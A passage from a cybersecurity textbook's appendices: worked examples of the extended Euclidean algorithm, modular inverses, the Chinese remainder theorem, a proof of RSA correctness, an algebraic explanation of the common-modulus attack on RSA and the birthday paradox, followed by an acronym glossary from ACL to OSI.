Unlike 𝑎 and 𝑏, 𝑥 and 𝑦 are not limited to be positive—they may well be zero or
negative. This will for example always be the case when gcd(𝑎, 𝑏) = 1.
The extension in relation to Euclid’s algorithm is to make use of the quotients
from each division and not just the remainders. This makes it possible to evaluate 𝑥
and 𝑦 in steps in an iterative manner. A formulation of the algorithm, which we here
denote exa(𝑎, 𝑏), can be seen in Algorithm B.3.
B.4 Euclid’s Extended Algorithm 405

Algorithm B.3 (Euclid’s Extended Algorithm)

Step 0: Initialise 𝑥 0 to 1 and 𝑦 0 to 0.
Step 1: Given two positive integers, 𝑎 and 𝑏, divide the larger one by the smaller us-
ing integer division (as in Euclid’s algorithm) to obtain a quotient 𝑘 1 and remainder
𝑟 1 , and set 𝑥 1 = 0 and 𝑦 1 = 1.
Step 𝑖 (for 𝑖 > 1): If remainder 𝑟 𝑖−1 from the previous step is 0, proceed to Termina-
tion. Otherwise divide the divisor from step (𝑖 − 1) by the remainder 𝑟 𝑖−1 from step
(𝑖 − 1) (again as in Euclid’s algorithm) to get a new quotient, 𝑘 𝑖 , and remainder, 𝑟 𝑖 ,
while new values (𝑥𝑖 , 𝑦 𝑖 ) for 𝑥 and 𝑦 are evaluated from their values in the previous
two steps:

𝑥 𝑖 = −𝑘 𝑖−1 × 𝑥𝑖−1 + 𝑥 𝑖−2

𝑦 𝑖 = −𝑘 𝑖−1 × 𝑦 𝑖−1 + 𝑦 𝑖−2

Then proceed in the same way for the next value of 𝑖.

Termination: The divisor from the latest division is (as in Euclid’s algorithm) the
value of gcd(𝑎, 𝑏) and the values of 𝑥 and 𝑦 are the ones which you need, in order to
get (𝑥 × 𝑎 + 𝑦 × 𝑏) to be equal to gcd(𝑎, 𝑏).

An example: Calculation of exa(7592, 5913):

𝑖 𝑎𝑖 𝑏𝑖 𝑟𝑖 𝑘𝑖 𝑑 𝑥𝑖 𝑦 𝑖
0 1 0
1 7592 5913 1679 1 73 0 1
2 5913 1679 876 3 73 1 −1
3 1679 876 803 1 73 −3 4
4 876 803 73 1 73 4 −5
5 803 73 0 11 73 −7 9

In the last step, where the remainder 𝑟 𝑖 becomes 0, the divisor 𝑏 𝑖 is equal to 73,
which is the value of gcd(𝑎, 𝑏). It is easy to check that this calculation gives the
intended result:
(−7 × 7592) + (9 × 5913) = 73

B.4.1 Calculation of an Inverse modulo 𝒏

As stated prevously, it is common to use Euclid’s extended algorithm to calculate

the inverse of an integer 𝑎, when arithmetic is done modulo 𝑛. (If you are not
certain whether 𝑎 has an inverse, you can first check by using Euclid’s algorithm that
gcd(𝑎, 𝑛) = 1.) You can then use Euclid’s extended algorithm to find two integers, 𝑥
and 𝑦, such that:
𝑛×𝑥+𝑎×𝑦 =1
406 B Mathematics

But then 𝑎 × 𝑦 ≡ 1 (mod 𝑛), so 𝑦 must be 𝑎’s inverse, 𝑎 −1 .

An example: Calculate the inverse modulo 1933 of 273. Now 1933 is a prime
number so it is quite certain that gcd(1933, 273) = 1 and therefore that the inverse
exists. The calculation proceeds as follows:

𝑖 𝑛𝑖 𝑎𝑖 𝑟𝑖 𝑘 𝑖 𝑑 𝑥𝑖 𝑦𝑖
0 1 0
1 1933 273 22 7 1 0 1
2 273 22 9 12 1 1 −7
3 22 9 4 2 1 −12 85
4 9 4 1 2 1 25 −177
5 4 1 0 4 1 −62 439

So the inverse modulo 1933 of 273 is 439.

Check: (439 × 273) mod 1933 = 119847 mod 1933 = 1

B.5 The Chinese Remainder Theorem

The Chinese remainder theorem is yet another antique discovery, which comes from
the Chinese mathematician Sun-Tsu, who worked around 100 AD:

Theorem B.1 (Chinese Remainder Theorem)

Given a set of 𝑘 equivalences using modular arithmetic:

𝑥 ≡ 𝑎1 (mod 𝑚 1 ), 𝑥 ≡ 𝑎 2 (mod 𝑚 2 ), . . . , 𝑥 ≡ 𝑎 𝑘 (mod 𝑚 𝑘 )

then there is a unique solution for 𝑥 (mod 𝑚 1 ×𝑚 2 . . .×𝑚 𝑘 ), if the individual moduli
(𝑚 1 , 𝑚 2 , . . . , 𝑚 𝑘 ) are mutual primes—that is to say, that for each pair of moduli, 𝑚 𝑖
and 𝑚 𝑗 (where 𝑖 ≠ 𝑗), then gcd(𝑚 𝑖 , 𝑚 𝑗 ) = 1.

An example: Find a solution for 𝑥, given that:

𝑥≡4 (mod 5), 𝑥≡5 (mod 11)

A simple way of solving the problem when the numbers are small is to list the first
few integers which are congruent to 5, when we use modulo 11 arithmetic. They are:

5, 16, 27, 38, 49, 60, 71, . . .

If we work modulo 5, these numbers have the values 0, 1, 2, 3, 4, 0, 1, . . . respectively.

As we want to find the number which has the value 4 (mod 5), the solution must be
𝑥 = 49 (mod 5 × 11).
B.6 Why Does RSA Work? 407

An example with somewhat larger numbers: Listing the numbers is not efficient
when the numbers are large. But if the two equivalences are:

𝑥 ≡ 𝑎1 (mod 𝑚 1 ), 𝑥 ≡ 𝑎2 (mod 𝑚 2 )

then we can reason as follows: All numbers which are congruent to 𝑎 2 (mod 𝑚 2 )
have the form 𝑎 2 + (𝑚 2 × 𝑘), for some integer 𝑘. So what we need to do is solve the
equation:
𝑚 2 × 𝑘 ≡ (𝑎 1 − 𝑎 2 ) (mod 𝑚 1 )
It is easy to find 𝑘, if we remember that the theorem is only valid when gcd(𝑚 1 , 𝑚 2 ) =
1, in which case there must be an inverse 𝑚 2−1 for 𝑚 2 (mod 𝑚 1 ). If we multiply both
sides of the equation by 𝑚 2−1 , we get:

𝑘 ≡ (𝑎 1 − 𝑎 2 ) × 𝑚 2−1 (mod 𝑚 1 ) (B.2)

It follows that:
𝑥 = 𝑎2 + 𝑚2 × 𝑘 (mod 𝑚 1 × 𝑚 2 ) (B.3)
= 𝑎 2 + 𝑚 2 × (𝑎 1 − 𝑎 2 ) × 𝑚 2−1 (mod 𝑚 1 × 𝑚 2 ) (B.4)

Given this general solution for two equations, we can now quickly find a solution to,
say:
𝑥 ≡ 7 (mod 12345), 𝑥 ≡ 3 (mod 11111)
where 𝑚 1 = 12345 and 𝑚 2 = 11111. First we find the inverse, 𝑚 2−1 , of 11111
(mod 12345) by using Euclid’s extended algorithm: 𝑚 2−1 = 2471. Then we evaluate:

𝑘 ≡ (7 − 3) × 2471 (mod 12345)

≡ 9884 (mod 12345)
And then it follows from equation B.3, that:

𝑥 ≡ 3 + 11111 × 9884 (mod 11111 × 12345)

≡ 109821127 (mod 137165295)

B.6 Why Does RSA Work?

For the RSA algorithm to work both for encryption and decryption, it must be the case
that if 𝑒 = 𝑑 𝑥 (mod 𝑛), where 𝑥 is one of the (either public or private) exponents
and 𝑛 is the chosen modulus, then it must be the case that 𝑑 = 𝑒 𝑦 (mod 𝑛), where
𝑦 is the other exponent. This can be shown as follows:

𝑒𝑦 (mod 𝑛) = (𝑑 𝑥 (mod 𝑛)) 𝑦 (mod 𝑛)

𝑥×𝑦
=𝑑 (mod 𝑛)
408 B Mathematics

Now in RSA the two exponents, 𝑥 and 𝑦, are chosen so that:

𝑥×𝑦≡1 (mod (𝑞 − 1) × (𝑟 − 1))

This implies that there must be an integer value 𝑘, such that:

𝑑 𝑥×𝑦 (mod 𝑛) = 𝑑 1+𝑘×(𝑞−1)×(𝑟 −1) (mod 𝑛)

= 𝑑 × 𝑑 𝑘×(𝑞−1)×( 𝑦−1) (mod 𝑛)

If 𝑑 and 𝑛 are mutual primes, it now follows from Euler’s theorem (see below), that:

𝑑 𝑥×𝑦 (mod 𝑛) = 𝑑 × 1 (mod 𝑛)

=𝑑

If 𝑑 and 𝑛 are not mutual primes, then Euler’s theorem is not valid. But this can only
happen is 𝑑 is a multiple of one of 𝑛’s factors: 𝑞 or 𝑟 (but not both, since 𝑑 must be
less than 𝑛). If 𝑑 is a multiple of 𝑞, it will be the case that:

𝑑≡0 (mod 𝑞)

and all powers of 𝑑, such as 𝑑 𝑘×(𝑞−1)×( 𝑦−1) , will correspondingly also be congruent
to 0 (mod 𝑞). So for example it will be the case that:

𝑑 𝑥×𝑦 ≡ 𝑑 (mod 𝑞)

If 𝑑 is a multiple of 𝑟, it will correspondingly be true that 𝑑 ≡ 0 (mod 𝑟), so 𝑑 and

all powers af 𝑑 will again be congruent to 0 (mod 𝑟), and: 𝑑 𝑥×𝑦 ≡ 𝑑 (mod 𝑟)
Finally, since 𝑞 and 𝑟 are different prime numbers and 𝑞 × 𝑟 = 𝑛, it follows from
the Chinese remainder theorem that;

𝑑 𝑥×𝑦 ≡ 𝑑 (mod 𝑛)

Euler’s theorem says that if it is the case, for positive integers 𝑎 and 𝑛, that:

gcd(𝑎, 𝑛) = 1

(that is to say, that 𝑎 and 𝑛 are mutual primes), then it is the case that:

𝑎 𝜙 (𝑛) ≡ 1 (mod 𝑛)

and therefore also that:

𝑎 𝑘×𝜙 (𝑛) ≡ 1 (mod 𝑛)
for all positive integers 𝑘.
Here 𝜙(𝑛) is Euler’s totient function of 𝑛, i.e. the number of integers, 𝑥, less than
𝑛 which have an inverse (that is to say such that 𝑥 × 𝑦 = 1 (mod 𝑛) for some integer
𝑦), when multiplication is performed modulo 𝑛. And, as we have seen in Sect. 4.4.2:
B.7 A Common-modulus Attack on RSA 409

• If 𝑛 is a prime number, then 𝜙(𝑛) is equal to (𝑛 − 1);

• If 𝑛 = 𝑞 × 𝑟, for prime numbers 𝑞 and 𝑟 (as is the case in RSA), then 𝜙(𝑛) is equal
to (𝑞 − 1) × (𝑟 − 1).

B.7 A Common-modulus Attack on RSA

In Sect. 4.4.3.3, it is stated that use of the same RSA modulus, 𝑛, by several users is
a dangerous practice, even if these users use different private and public exponents.
In particular, if two users, Alice and Bob, who use the same modulus, 𝑛, encrypt the
same message, 𝑑, with public exponents respectively 𝑝 𝐴 and 𝑝 𝐵 „ then an attacker
who collects up the ciphertexts:

𝑒 𝐴 = 𝑑 𝑝 𝐴 mod 𝑛
𝑒 𝐵 = 𝑑 𝑝𝐵 mod 𝑛

can under certain commonly satisfied conditions find 𝑑 wihout knowing either of
Alice’s or Bob’s private exponents.
The first condition is that 𝑝 𝐴 and 𝑝 𝐵 have no common factors, so gcd( 𝑝 𝐴, 𝑝 𝐵 ) = 1.
This will usually be the case, so the attacker can use Euclid’s Extended Algorithm
to find integers 𝑢 and 𝑣 such that:

𝑢 × 𝑝 𝐴 + 𝑣 × 𝑝𝐵 = 1

The plaintext 𝑑 can then be recovered by evaluating 𝑒 𝐴𝑢 × 𝑒 𝐵 𝑣 , since:

𝑒 𝐴𝑢 × 𝑒 𝐵 𝑣 = (𝑑 𝑝 𝐴 ) 𝑢 × (𝑑 𝑝𝐵 ) 𝑣 mod 𝑛
= 𝑑 𝑝 𝐴×𝑢 × 𝑑 𝑝𝐵 ×𝑣 mod 𝑛
= 𝑑 𝑝 𝐴×𝑢+ 𝑝𝐵 ×𝑣 mod 𝑛
= 𝑑 1 mod 𝑛
=𝑑

Working out 𝑒 𝐵 𝑣 mod 𝑛 is, however, slightly more complicated than it might seem,
since 𝑣 will usually be a negative integer, say −𝑥. So in practice it is necessary to
work out the inverse of 𝑒 𝐵 raised to the power 𝑥, since all arithmetic is being done
modulo 𝑛. In other words, we need to evaluate (𝑒 𝐵 −1 ) 𝑥 . This implies that 𝑒 𝐵 must
have an inverse modulo 𝑛. The condition for this to be the case (and therefore also
the second condition for the attack to work) is that 𝑒 𝐵 and 𝑛 must be mutual primes,
i.e. gcd(𝑒 𝐵 , 𝑛) = 1. This is also usually satisfied, since 𝑛 is the product of two large
primes, 𝑞 and 𝑟, neither of which are likely to be factors of 𝑒 𝐵 .
410 B Mathematics

B.8 The Birthday Paradox

How many unrelated people must there be in a room, before the probability that at
least two of them have the same birthday is larger than 0.5? The answer is: only 23.
That the number is so surprisingly small (since the year has 365 days) is often called
the birthday paradox. You get to this result in the following way: Given that person
1 in the room has a certain birthday, the probability that person 2 does not have the
same birthday is:
1
(1 − )
365
and the probability that person 3 does not have the same birthday as either person 1
or person 2 is:
1 2
(1 − ) × (1 − )
365 365
and the probability that person 4 does not have the same birthday as either person 1,
2 or 3 is:
1 2 3
(1 − ) × (1 − ) × (1 − )
365 365 365
so when we get to person 23, the probability that none of them have the same birthday
is:
1 2 3 22
(1 − ) × (1 − ) × (1 − ) × . . . × (1 − )
365 365 365 365
or, if you like:
364 363 362 343
× × ×...×
365 365 365 365
This is equal to 0.493. So the probability that two of the 23 do have the same birthday
must be (1 − 0.493) = 0.507.
(Interestingly enough, the probability that at least two have the same birthday
increases rather quickly as the number of people, 𝑁, in the room increases. For
𝑁 = 30 the probability is about 0.706 and for 𝑁 = 100 it is about 0.9999996)
The same sort of calculation can be used to solve a number of problems. For
example: Suppose you have 𝑁 balls of different colours in a bag, and you draw one
ball out of the bag, note down its colour and put it back in the bag again. How many
times do you need to repeat this procedure before you draw out a ball with a colour
which you have seen already? The answer, p when
√ 𝑁 is large, √is that on average over
a large number of attempts it will be 𝜋/2 × 𝑁 (=1.253 × 𝑁) times.
It is this result which explains why the number of attempts to find a collision when
you use a hash function (that is to say, a message which √ gives the same hash value as
a given message) is of the order of magnitude 2𝑛/2 (= 2𝑛 ) , where 𝑛 is the number of
bits in the hash function’s value. This is because the number of possible hash values
is then 2𝑛 , and this number corresponds to the number of different colours, 𝑁, in the
problem with the balls described above.
Appendix C
Acronyms

As mentioned in the preface to this book, the whole subject area is characterised
by the frequent use of acronyms, which are mostly abbreviations for English terms.
This appendix gives the full text corresponding to each abbreviation, together with
a short explanation.
ACL Access Control List: For a given object, a list of which subjects are allowed to access
the object and in which ways, see Sect. 9.2.3.
ADB Android Debug Bridge: A software tool for use in development and fault finding in
Android-based applications, see Sect. 11.1.2.1.
AES Advanced Encryption Standard: A modern block cipher for symmetric encryption,
approved also for encryption of classified material, see Sect. 4.3.4.
AKA Authentication and Key Agreement: In a UMTS network, the mechanism which
ensures that the mobile unit (typically a telephone) and the network authenticate
one another and exchange session keys, when an attempt is made to attach the unit
to the network, see Sect. 8.9.3.
AP Access Point: In a wireless (e.g. WiFi) network, a system through which wireless
units can gain access to a cable-based network, see Sect. 6.3.2.1.
API Application Program Interface: A software interface, which applications can use to
exploit functions made available by an operating system, database system or other
system component, see Sect. A.2.1.
APT Advanced Persistent Threat: A type of attack with malware, where the attacker
makes a special effort to hide the malware’s presence in the attacked system, so it
can operate for a long period without being detected, see Sect. 11.1.2.
ARP Address Resolution Protocol: A standard protocol for finding the Link address
corresponding to a given IP address in the Internet, see Sect. 6.2.6.
ASCII American Standard Code for Information Interchange: An American standard, which
defines binary representations for a character set containing 128 characters, including
large and small English letters, digits and punctuation characters, together with a
number of control characters, and where each character is represented by 7 bits.
AuC Authentication Center: In a mobile telephone network, the component which reg-
isters information about the subscriber and checks the authenticity of the (U)SIM
card, when an attempt is made to attach a telephone to the network, see Sect. 8.9.1.
AV Antivirus: A component which checks a system or a network for the presence of
viruses – or more generally of all types of malware, see Sect. 10.2.3.

BCP Business Continuity Planning: Planning of how to restore an enterprise’s or institu-

tion’s normal activities after an emergency situation, see Sect. 11.2.
© The Editor(s) (if applicable) and The Author(s), under exclusive license
to Springer Nature Switzerland AG 2024 411
R. Sharp, Introduction to Cybersecurity, Undergraduate Topics in Computer Science,
https://doi.org/10.1007/978-3-031-41463-3
412 C Acronyms

BIOS Basic Input-Output System: In modern computers, a fundamental firmware compo-

nent, which initialises the computer’s hardware on startup and starts a bootloader,
which reads in the operating system. Now largely replaced by UEFI firmware (q.v.).
BSS Basic Service Set: In a WiFi-based network, a group of mobile (wireless) units
which communicate via an access point (AP), see Fig. 6.17.
BTS Base Transceiver Station: A cell mast in a telephone network based on GSM, see
Sect. 6.3.3.

CA Certificate Authority: In PKI, an authority which issues certificates which document

the correspondance between a person or a system and the person’s or system’s public
key, see Sect. 5.5.
CAPTCHA Completely Automated Program to Tell Computers and Humans Apart: A method,
typically based on recognising characters shown on a noisy background, to dis-
tinguish humans (which are normally good at that type of cognitive task) from
computer-based analysis programs (which normally have great difficulty with such
tasks), see Sect. 2.3.
CBC Cipher Block Chaining: A mode of operation for encrypting a series of blocks of
data by using a block cipher, where the ciphertext from encryption of the (𝑛 − 1)’th
block is combined with the plaintext from the 𝑛’th block, and the combination is
encrypted to give the ciphertext for the 𝑛’th block, see Fig. 4.10.
CC Common Criteria for Information Technology Security Evaluation: An international
standard for certification of computer security, see page 276.
CIA Confidentiality, Integrity and Availability: The three basic targets for IT security,
see Sect. 1.4.1.
CIP Critical Infrastructure Protection: The discipline, whose aim is to analyse threats
against a country’s or region’s infrastructure, and to develop countermeasures against
such threats, see Sect. 8.14.
CN Common Name: The usual (but not necessarily unique) name of a person or hardware
unit. Often used as an attribute in an X.500 name, where an object is described by
a set of attributes, see Sect. 5.5.
CNIC Cellular Network Isolation Card: A modified copy of a (U)SIM card for a mobile
telephone, for use in an investigator’s investigation of the phone, see Sect. 11.1.2.1.
CPU Central Processor Unit: The basic hardware unit for performing calculation in a
computer, see Sect. A.1.
CRC Cyclic Redundancy Check: An code often used in digital networks and storage
devices to detect commonly occuring accidental changes to binary data, especially
bursts of incorrect bits. The CRC itself is a fixed-length binary sequence, typically
of length between 4 nd 64 bits.
CRL Certificate Revocation List: In a PKI, a list maintained by a Certificate Authority
(CA), containing revoked (i.e. no longer valid) certificates, see Sect. 5.5.
CSP Certificate Signing Policy: In a PKI, a Certificate Authority’s policy for storing
certificates and for checking that the owner’s identity is checked when the certificate
is issued, see Sect. 5.5.
CSR Certificate Signing Request: In a PKI, a request to a CA from a subject (a person or
IT system) to sign a certificate which documents the correspondance between the
subject’s identity and public key, see Sect. 5.5.1.
CTR Counter: A mode of operation for encrypting a series of blocks of data by using a
block cipher, where the ciphertext for block 𝑛 is derived from the plaintext by an
XOR operation with a keystream block produced by encrypting the 𝑛’th value of a
non-repeating counter with the block cipher’s key, see Sect. 4.3.3.1.
CVE Common Vulnerabilities and Exposures: A publicly available system for documen-
tation of known vulnerabilities in IT systems. Maintained by Mitre Corporation in
USA, see Sect. 9.7.
C Acronyms 413

DAC Discretionary Access Control: A principle for access control, where the owner of a
resource (a program, a collection of data etc.) decides who is to have access to the
resource and for which purposes, see Sect. 9.2.1.
DDoS Distributed Denial of Service: A type of DoS, in which the attacker exploits several
systems which are under his control to generate traffic, see Sect. 8.10.5.
DES Data Encryption Standard: A much-used symmetric block cipher, standardised in
1977. Its use is now deprecated due to it having weaknesses, see Sect. 4.3.3.
DIT Directory Information Tree: An hierarchical, tree-formed structure, which describes
an organisation or similar, where every node in the tree describes an individual or
unit and is uniquely identified by a DN, see Sect. 10.4.
DKIM DomainKeys Identified Mail: A mechanism for e-mail authentication based on
adding a digital signature to the mail, using keys associated with the sending domain.
The signature covers the body of the mail and a number of its header lines selected
by the signer, in order to prevent their modification, see Sect. 8.12.2.
DMZ Demilitarised Zone: A subnet within an organisation’s network, lying between the
organisation’s internal network and an external network, such as the Internet, which
is not trusted, see Sect. 8.6.2. The DMZ is typically used for placing systems which
it should be possible to access from outside.
DN Distinguished Name: For an object which is named by an X.500 name, which consists
of a set of descriptive attributes, the object’s DN is a subset of these attributes which
unambiguously identify the object (in the context of the directory which contains
the name), see Sect. 10.4.
DNS Domain Name Service: An Internet service used for registration and lookup of
Internet names and corresponding IP addresses etc., see Sect. 6.2.5.
DNSSEC DNS Security: An extension to DNS to give improved security, in particular by
counteracting falsification of DNS-related messages, see Sect. 8.11.1.
DoS Denial of Service: A form of attack, whose purpose is to prevent authorised users
partly or completely from accessing a resource – that is to say, to reduce the resource’s
availability, see Sect. 8.10.
DPIA Data Protection Impact Assessment: A prior assessment of the impact of processing
personal data on the protection of such data. Such an assessment is obligatory
according to the GDPR if there is a high risk to the rights and freedoms of natural
persons whose data is to be processed, see Sect. 12.2.6.
DPO Data Protection Officer: Within an organisation which handles personal data in
accordance with the GDPR, a person responsible for advising the controller and/or
processor about how to comply with the GDPR, for monitoring this compliance and
for cooperating with the relevant supervisory authority, see Sect. 12.2.8.
DRP Disaster Recovery Planning: Planning of how to restore the damaged systems after
a disaster such as an extensive fire, natural disaster, cyberattack or the like, see
Sect. 11.3.
DSA Digital Signature Algorithm: A method for calculating digital signatures based on
ElGamal encryption, which can be used in DSS, see Sect. 5.2.3.
DSS Digital Signature Standard: A US federal standard (FIPS 186) for digital signatures,
which can be based on DSA, RSA or the use of elliptical curves, see Sect. 5.2.3.

EAL Evaluation Assurance Level: A measure used in evaluation of security solutions

based on the Common Criteria (CC). The level (which can lie between 1 and 7)
indicates the extent to which a solution has been checked for fulfilling the security
targets which it is claimed to fulfil. Higher EALs require more detailed documenta-
tion, analysis and test than lower levels, see page 276.
EAP Extended Authentication Protocol: A standard framework, which makes it possible
to exploit a broad selection of authentication techniques (in the form of so-called
EAP methods) in actual authentication protocols, where a client who needs to be
authenticated communicates with an authentication server, see Sect. 8.8.2.
414 C Acronyms

ECB Electronic Cookbook: A mode of operation for encryption of a series of blocks of

data using a block cipher, where the blocks are encrypted one by one using the same
key, see Fig. 4.9.
EDGE Enhanced Data Rates for GSM Evolution: A technology for data transfer within
GSM networks at data rates of up to about 240 kbit/s. see Sect. 6.3.3.
EDPS European Data Protection Supervisor: An EU official responsible for dealing with
privacy issues within EU institutions and bodies, see Sect. 12.2.8.
eID Electronic Identification: A form of proof of identity which can be used for authen-
tication in relation to net-based applications, see Sect. 5.7. Many eIDs have the form
of a smartcard which contains relevant information about the owner.
EPID Enhanced Privacy ID: An algorithm for creation of an anonymous electronic signa-
ture, see Sect. 12.4.3.
ETSI European Telecommunications Standards Institute: An organisation originally de-
voted to standardisation within the telecommunications industry in Europe. Now
with the main responsibility for several technologies used globally, such as GSM,
3G and 4G systems for mobile telephony.

FAIR Factor Analysis of Information Risk: Based on a taxonomy of risk factors and how
they affect one another, FAIR is a systematic method for calculating the probabilities
of different security incidents, see Sect. 3.5.
FDE Full Disk Encryption: Encryption of an entire disk (as opposed to encryption of
individual files or folders), see Sect. 9.5.
FIPS Federal Information Processing Standard: A standard for information processing
developed for use by governmental, non-military organisations and suppliers in
USA.
FNR False Negative Rate: When performing a test for whether a series of test items
have a particular property, the FNR is the fraction of the items which in fact have
the property of interest, but where the test’s result is that they do not have it, see
Sect. 8.7.1.
FPR False Positive Rate: When performing a test for whether a series of test items have a
particular property, the FPR is the fraction of the items which in fact do not have the
property of interest, but where the test’s result is that they have it, see Sect. 8.7.1.
FTK Forensic Toolkit: A software package for use in investigation of security incidents
in Windows-based systems, see Sect. 11.1.2.

GDPR General Data Protection Regulation: A legally binding set of rules for handling
personal data, valid in all member states of the European Union, see Sect. 12.2.
GPRS General Packet Radio Service: A packet-oriented service for data transfer at moder-
ate data rates (56-114 kbit/s) in a GSM network, see Sect. 6.3.3.
GPU Graphics Processing Unit: A hardware unit which is specialised for performing
calculations which can accelerate the presentation of graphics. Its large computing
power can also be used for other purposes, for example to perform brute force attacks
in order to find encryption keys or passwords.
GSM Global System for Mobile Communications: A standard for digital telephony devel-
oped by ETSI for use in the second generation (“2G”) of mobile telephone networks,
see Sect. 6.3.3.

HDD Hard Disk Drive: A traditional storage unit, in which data bits are stored as magne-
tised areas on the surface of one or more circular platters which rotate around the
same axis, see Fig. A.3.
HIDS Host Intrusion Detection System: An IDS which is specialised for monitoring the
individual computers which are attached to a network, see Sect. 8.7.3.
HLR Home Location Register: A central database in a mobile telephone network, con-
taining details of the subscribers who are registered by the network’s operator, see
Sect. 6.3.3.
C Acronyms 415

HMAC Hash-based Message Authentication Code: A type of message digest, where a shared
secret key is used in calculation of the digest, see Sect. 5.1.2. Anyone who receives
the message and its HMAC and who also knows the key – and who it is shared
with – can therefore verify both the message’s integrity and the sender’s identity.
HSM Hardware Security Module: A hardware unit for secure storage of encryption
keys and for fast encryption and calculation of cryptographic checksums etc, see
Sect. 8.11.1.
HTML Hypertext Markup Language: A standardised notation for describing the content and
the desired presentation of hypertext documents, i.e. documents which can contain
fixed and dynamically generated elements in various media formats, together with
links to other documents which are to be included, see Sect. 7.2.
HTTP Hypertext Transmission Protocol: A standard protocol for handling hypertext doc-
uments in the Internet, see Sect. 7.2.

I/O Input/Output: A general term for all forms of data which are put into or produced
by a computer or computer-like unit, see Sect. A.1.2.
IANA Internet Assigned Numbers Authority: An organisation, based in USA, which keeps
track of the allocation of IP addresses, registration of top-level domains in the
Internet, media types and the numbering of RFCs and Internet standards.
IDE Integrated Development Environment: A software system which contains facilities
for development and test of new software.
IDPS Intrusion Detection and Protection System: An IDS which reacts to detection of
unwanted activities by taking steps to conteract them, for example by closing a
firewall for certain traffic or even starting a counterattack, see Sect. 8.7.
IDS Intrusion Detection System: A component, whose purpose is to monitor a network-
based computer system in order to detect activities which can indicate unauthorised
intrusions or attempts at such intrusions, see Sect. 8.7.
IEEE Institute of Electrical and Electronics Engineers: An American society, originally
for electrical and radio engineers in USA, but now with a broader focus and several
international sections with members from more than 160 nations. In certain areas,
IEEE also works as a standardisation organisation.
IETF Internet Engineering Task Force: A standards organisation for the Internet with
responsibiliy for its technical standards.
IM Identity Module: A component, normally in the form of a tamper-proof smartcard,
which contains the user’s personal information, see Sect. 6.3.3. SIM cards and USIM
cards in mobile telephones are well-known examples.
IMAP Internet Message Access Protocol: A standard protocol for fetching messages from
a message store (a “mailbox”) in the Internet, see Sect. 7.1.
IMSI International Mobile Subscriber Identity: An up to 15 digit long number, which
identifies the subscriber, the country and the network operator in a mobile telephone
network, see Fig. 6.20.
IOT Internet of Things: A concept, where it is envisioned that all sorts of items, such
as tools, household equipment, industrial equipment, lamps, measuring equipment
and so on, contain small computers and are attached to the Internet, through which
they can be controlled, see Sect. 1.2.
IP Internet Protocol: A standard protocol to provide a connectionless sevice in the
Network layer in the Internet, see Sect. 6.2.
IPsec Internet Protocol Security: A series of extensions to IP for providing confidentiality
and integrity of data and authentication of the sender.
ISO International Standardisation Organisation: An international organisation for devel-
oping standards within many areas, including the entire IT area.
ISP Internet Service Provider: A network operator who offers customers access to Inter-
net services, including DNS, e-mail etc.
416 C Acronyms

ITU-T International Telecommunication Union - Telecommunication Standardization Sec-

tor: An organisation under the United Nations, which develops general standards for
telecommunication.
IV Iniialisation Vector: A value used to initialise the state of a cryptographic com-
putation. The IV is often required to be randomly chosen for each use in a given
computation, in order to ensure unpredictability of the output, see for example
Sect. 4.3.3.1.

LAN Local Area Network: A communication network which covers a limited areas,
typically a home, a company premises or institution, with a physical size of up to a
few kilometers, see Sect. 6.1.
LDAP Lightweight Directory Access Protocol: A standard protocol For insertion, modifi-
cation, deletion and searching for information in an LDAP database, which typically
describes people, equipment and processes within an organisation or a (possibly
very large) network, see Sect. 10.4.
LFSR Linear Feedback Shift Register: A shift register, where the next bit pushed into the
register as input is a linear combination of some of the bits which are currently
stored in the register, see Sect. 4.3.5.1.
LiON Lithium Ion: A common battery technology widely used in mobile equipment.
LPC Low Pin Count: The designation of an internal computer bus for attachment of units
with small bandwidth requirements, see Sect. A.1.3.
LTE Long Term Evolution: A technology for data transfer in 4G GSM and UMTS
networks at data rates of up to around 300 Mbit/s, see Sect. 6.3.3.

MAC This acronym has three possible meanings:

1. Message Authentication Code: A hash value calculated from a message and an
encryption key, see Sect. 5.1.2.
2. Medium ACcess: The rules for access to a shared medium, typically in the form
of a MAC protocol, see Sect. 6.3.1.
3. Mandatory Access Control: A principle for access control, where a superior
authority or person decides who shall have access to which resources and for
which purposes, see Sect. 9.2.1.
MAN Metropolitan Area Network: A communication network which covers an area cor-
responding to a town or district, see Sect. 6.1.
MD5 Message Digest 5: An algorithm for calculating hash values for messages, for exam-
ple to ensure integrity or for use in electronic signatures. Its use is now deprecated,
as it is not collision-free, see Sect. 5.1.1.
MIB Management Information Base: A database which contains information for control-
ling and configuring the units in a communication network. Often used in connection
with the protocol SNMP, see Sect. 8.13.
MIME Multipurpose Internet Mail Extensions: A set of extensions to SMTP, which amongst
other things make it possible to transfer e-mails that contain other elements than
simple texts written in characters from the ASCII character set, where each character
is represented by a sequence of 7 bits, see Sect. 7.1.3.
MLS Multi-Layer Security: A model for security, where it is possible to handle users
with different security clearances and data with different security classifications, see
page 276.
MMI Man-Machine Interface: An interface through which a human user can communicate
with a computer. An MMI can be based on many different technologies: Text or
graphics, use of a keyboard, pointing devices, audio equipment etc., see Sect. A.1.2.
MMS Multimedia Messaging Service: A service offered to mobile devices, allowing them
to transmit multimedia content, such as images, videos, audio or texts over a cellular
network.
C Acronyms 417

MMU Memory Management Unit: A hardware unit in the computer, which controls access
to the memory by individual activities, see Sect. 9.4.1.
MSISDN Mobile Station International Subscriber Directory Number: An up to 15 digit long
number, which works as an international telephone number in a mobile telephone
network, see Fig. 6.20.
MTA Message Transfer Agent: A system component whose task is to pass on e-mail on
its way to its final destination, see Sect. 7.1.1.
MUA Message User Agent: A system component which the user can use to initiate trans-
mission of outgoing e-mail and collection of incoming e-mail, see Sect. 7.1.1. Is
often known as a mail client.
MX Message Exchange: A type of RR (q.v.) which contains information about the MTA
which can function as a mail relay for a given Internet domain, see Sect. 7.1.1.

NEED Network-Enabled Embedded Device: A unit, typically built into a larger piece of
apparatus, and containing a small computer system with the possibility of connecting
it to a network, see Sect. 8.10.6.
NIDS Network Intrusion Detection System: An IDS, which is specialised for monitoring
activities in a network, see Sect. 8.7.2.
NTP Network Time Protocol: A standard protocol for synchronising clocks in systems
which are attached to the Internet.

OCSP Online Certificate Status Protocol: A standard protocol for getting hold of the revo-
cation status for digital certificates in the Internet, see Sect. 8.5.
OPM Office of Public Management: A US government agency which manages the federal
government’s administration.
OS Operating System: A system program which hides the details of the hardware in
a computer, and offers a uniform interface which the actual applications can be
adapted to match, see Sect. A.2.1.
OSI Open Systems Interconnection: An initiative organised by ISO and ITU-T with the
aim of standardising the architecture of communication systems, together with a set
of corresponding protocols. The architecture model – the OSI Reference Model –
